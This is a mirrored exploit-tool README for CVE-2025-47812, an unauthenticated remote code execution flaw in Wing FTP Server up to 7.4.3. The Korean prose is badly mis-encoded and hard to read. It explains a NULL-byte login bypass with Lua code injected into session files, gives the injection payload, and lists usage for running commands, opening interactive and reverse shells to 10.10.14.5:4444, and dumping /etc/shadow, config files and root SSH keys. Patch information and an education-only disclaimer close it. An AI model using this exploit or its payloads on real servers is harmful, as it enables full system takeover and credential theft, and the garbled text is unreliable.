## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-POPYUE-CVE-2025-47812
# CVE-2025-47812 β Wing FTP Server λΉμΈμ¦ RCE
root@kitploit:~
βββ ββββββββββ βββ βββββββ ββββββββββββββββββββββββ
βββ βββββββββββ βββββββββββ βββββββββββββββββββββββββ
βββ ββ ββββββββββββ ββββββ ββββ ββββββ βββ ββββββββ
ββββββββββββββββββββββββββ βββ ββββββ βββ βββββββ
ββββββββββββββββ βββββββββββββββ βββ βββ βββ
ββββββββ ββββββ βββββ βββββββ βββ βββ βββ
## κ°μ
νλ| μΈλΆμ¬ν
---|---
**CVE**| CVE-2025-47812
**μν₯λ°λ λ²μ **| Wing FTP Server <= 7.4.3
**μμ λ²μ **| Wing FTP Server 7.4.4
**CVSS μ μ**| 10.0 (μΉλͺ
μ )
**μΈμ¦ νμ**| μμ (μ΅λͺ
λ‘κ·ΈμΈμΌλ‘ μΆ©λΆ)
**νλ κΆν**| `root` (Linux) / `NT AUTHORITY\SYSTEM` (Windows)
**λ°κ²¬μ**| Julien Ahrens (@MrTuxracer) β rcesecurity.com
* * *
## μ·¨μ½μ μ€λͺ
Wing FTP Serverμ μΉ μΈν°νμ΄μ€λ μ¬μ μΈμ¦ μμ΄ μ격 μ½λ μ€νμ κ°λ₯νκ² νλ 2λ¨κ³ 곡격μ μ·¨μ½ν©λλ€.
### 1λ¨κ³ β NULL λ°μ΄νΈ μΈμ¦ μ°ν + Lua μ½λ μ½μ
Wing FTP λ°μ΄λ리μ `c_CheckUser()` ν¨μλ λ΄λΆμ μΌλ‘ `strlen()`μ μ¬μ©νλ―λ‘, μ¬μ©μ μ΄λ¦ λ¬Έμμ΄μ 첫 λ²μ§Έ NULL λ°μ΄νΈ(`\x00`)μμ μ립λλ€. λ°λΌμ `anonymous%00<μμ_λ°μ΄ν°>`μ κ°μ μ¬μ©μ μ΄λ¦μ μ ν¨ν μ¬μ©μ(`anonymous`)κ° μ‘΄μ¬νκΈ°λ§ νλ©΄ μΈμ¦μ ν΅κ³Όν©λλ€.
μΈμ¦ μ±κ³΅ ν `loginok.html`μ **μμ ν μ μ λμ§ μμ** POST λ§€κ°λ³μ(μ¦, NULL λ°μ΄νΈ μ΄νμ λͺ¨λ λ΄μ© ν¬ν¨)λ₯Ό μ¬μ©νμ¬ `rawset(_SESSION, "username", username)`μ νΈμΆν©λλ€. μΈμ
μ μ΄ν `SessionModule.save()`λ₯Ό ν΅ν΄ Lua μ€ν¬λ¦½νΈ νμΌλ‘ μ§λ ¬νλ©λλ€.
μ§λ ¬ν ν¨μλ Lua κΈ΄ λ¬Έμμ΄ λ¦¬ν°λ΄ `[[...]]`λ₯Ό κ°μ μ¬μ©νλ©°, μλ¬΄λ° κ²μ¬ μμ΄ κ°μΈκΈ° λλ¬Έμ μ¬μ©μ μ΄λ¦μ `]]`λ₯Ό μ½μ
νλ©΄ λ¬Έμμ΄ λ¦¬ν°λ΄μ΄ μ‘°κΈ° μ’
λ£λκ³ μΈμ
νμΌμ μμμ Lua μ½λλ₯Ό μΆκ°ν μ μμ΅λλ€.
**νμ΄λ‘λ ꡬ쑰:**
root@kitploit:~
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
λμ `--`λ Wing FTPκ° κ° λ€μ μΆκ°νλ `]]`λ₯Ό μ£Όμ μ²λ¦¬ν©λλ€.
### 2λ¨κ³ β μΈμ¦λ μλν¬μΈνΈλ₯Ό ν΅ν νΈλ¦¬κ±°
μΈμ
νμΌ(`UID` μΏ ν€ κ°μ νμΌ μ΄λ¦μΌλ‘ μ¬μ©)μ μΈμ¦λ μλν¬μΈνΈμ μ κ·Όν λλ§λ€ `loadfile()` \+ `f()`λ₯Ό ν΅ν΄ μ€νλλ Lua μ€ν¬λ¦½νΈμ
λλ€. `POST /dir.html`μ `UID` μΏ ν€λ₯Ό ν¬ν¨νμ¬ λ³΄λ΄λ©΄ μ½μ
λ Lua μ½λκ° μ€νλκ³ , `<?xml` μ½ν
μΈ μ΄μ μ λͺ
λ Ή μΆλ ₯μ΄ μλ΅ λ³Έλ¬Έμ λ°νλ©λλ€.
* * *
## μꡬ μ¬ν
* Python 3.10+
* `requests`, `urllib3`
root@kitploit:~
pip install -r requirements.txt
* * *
## μ¬μ©λ²
root@kitploit:~
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
### μμ
root@kitploit:~
# Single command
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# Target by IP (Wing FTP uses virtual-host routing β supply hostname with --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# Interactive pseudo-shell
python3 CVE-2025-47812.py http://ftp.target.com --shell
# Reverse shell (start nc listener separately)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# Reverse shell with built-in listener
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# Dump sensitive files (/etc/passwd, /etc/shadow, Wing.cfg, root SSH key)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# With non-anonymous credentials
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
* * *
## ν΄κ²° λ°©λ²
Wing FTP Serverλ₯Ό **λ²μ 7.4.4** μ΄μμΌλ‘ μ
κ·Έλ μ΄λνμΈμ.
* * *
## μ°Έκ³ μλ£
* μλ³Έ λΆμκΈ: https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
* NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-47812
* κ΄λ ¨: CVE-2025-47811 (κ³Όλνκ² νμ©μ μΈ μλΉμ€ κΆν), CVE-2025-47813 (κ³Όλνκ² κΈ΄ UID μΏ ν€λ₯Ό ν΅ν κ²½λ‘ λ
ΈμΆ)
* * *
## λ©΄μ±
μ‘°ν
μ΄ λꡬλ **κ΅μ‘ λͺ©μ λ° μΉμΈλ μΉ¨ν¬ ν
μ€νΈ μ μ©** μΌλ‘ μ 곡λ©λλ€. μ΄ μ΅μ€νλ‘μμ μμ νμ§ μμκ±°λ λͺ
μμ μΈ μλ©΄ νκ°λ₯Ό λ°μ§ μμ μμ€ν
μμ μ€ννλ κ²μ λΆλ²μ΄λ©° λΉμ€λ¦¬μ μ
λλ€. μ μλ μ΄λ ν μ€μ©μ λν΄μλ μ±
μμ μ§μ§ μμ΅λλ€.